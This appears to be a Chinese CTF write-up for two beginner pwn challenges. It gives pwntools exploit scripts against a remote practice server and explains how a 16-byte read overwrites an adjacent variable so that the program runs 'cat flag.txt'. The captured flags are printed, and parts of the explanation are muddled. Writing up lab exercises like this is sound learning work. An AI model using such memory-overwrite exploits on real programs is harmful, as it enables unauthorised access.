get_shell
这题直接给shell了
exp
from pwn import*
p = remote('61.147.171.105',59682)
p.sendline('cat flag')
p.interactive()
cyberpeace{8cd678c722f48327a69b2661ae8956c8}
hello_pwn
checksec一下
ok,64位的
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}
alarm(0x3Cu):
调用alarm函数设置了一个定时器,其值为0x3Cu(60秒)。如果程序在60秒内没有结束,会收到一个SIGALRM信号。这通常用于防止程序挂起。
setbuf(stdout, 0LL):
关闭stdout的缓冲,使得所有输出都立即写入。这通常用于调试,以便实时查看程序输出。
puts()函数:
使用puts函数输出两条欢迎信息。
read(0, &unk_601068, 0x10uLL):
这是漏洞的关键点。read函数从文件描述符0(通常是标准输入stdin)读取0x10uLL(16字节)的数据到unk_601068这个地址。这里有几个问题:
unk_601068可能是一个未初始化的或未分配足够空间的缓冲区,导致缓冲区溢出。
读取的字节数0x10uLL是硬编码的,没有考虑实际缓冲区的大小。
如果用户输入超过16字节的数据,会覆盖缓冲区后面的内存区域,可能包括其他变量的值或者函数的返回地址。
if ( dword_60106C == 'nuaa' ) sub_400686():
这里检查dword_60106C(unk_601068后面的一个双字)是否等于'nuaa'。这个检查看起来是为了确保某种条件满足时才调用sub_400686()。然而,由于缓冲区溢出漏洞,攻击者可以故意构造输入来覆盖dword_60106C的值,从而控制程序的执行流程。
sub_400686()函数:该函数返回一个 64 位整数(__int64)。函数的主体做了两件事情:
system("cat flag.txt");:这行代码调用了 system 函数,该函数执行传递给它的字符串参数作为 shell 命令。在这里,它尝试运行 cat flag.txt 命令,这个命令在 Unix-like 系统(比如 Linux)上用于显示 flag.txt 文件的内容。如果该文件存在且可读,它的内容将被输出到标准输出(通常是终端或控制台)。
return 0LL;:这行代码表示函数执行成功,并返回整数值 0。LL 后缀用于明确表示这个整数值是一个 64 位整数。
read(0, &unk_601068, 0x10uLL); 读取数据
if ( dword_60106C == 1853186401 ) 判断值是否相等
来看一下这两行代码
if 这个->dword_60106C = 1853186401
当上述的条件判断 if
语句中的条件满足,也就是 dword_60106C
的值确实等于 1853186401
时,会执行 sub_400686()
这个函数调用。
双击点开看看
会执行cat flag命令
可以分析得到:当unk_601068 = dword_60106C时,得到flag
双击dword_60106C,定位到这里
dword_60106C与unk_601068相差4个字节
编写exp
from pwn import*
p = remote('61.147.171.105',57285)
p.sendline(b'a'*4+p64(1853186401))
p.interactive()
payload=b'a'*4+p64(1853186401)
解读
b:字节类型 #python3脚本中的,python2的可以去掉
4 #四个字节,dword_60106C与dword_60106C相差4个字节
p64 #64位的
1853186401 #dword_60106C == 1853186401,这个值要等于unk_601068的值
cyberpeace{0d34d62bdc19f237ee4906a664260c63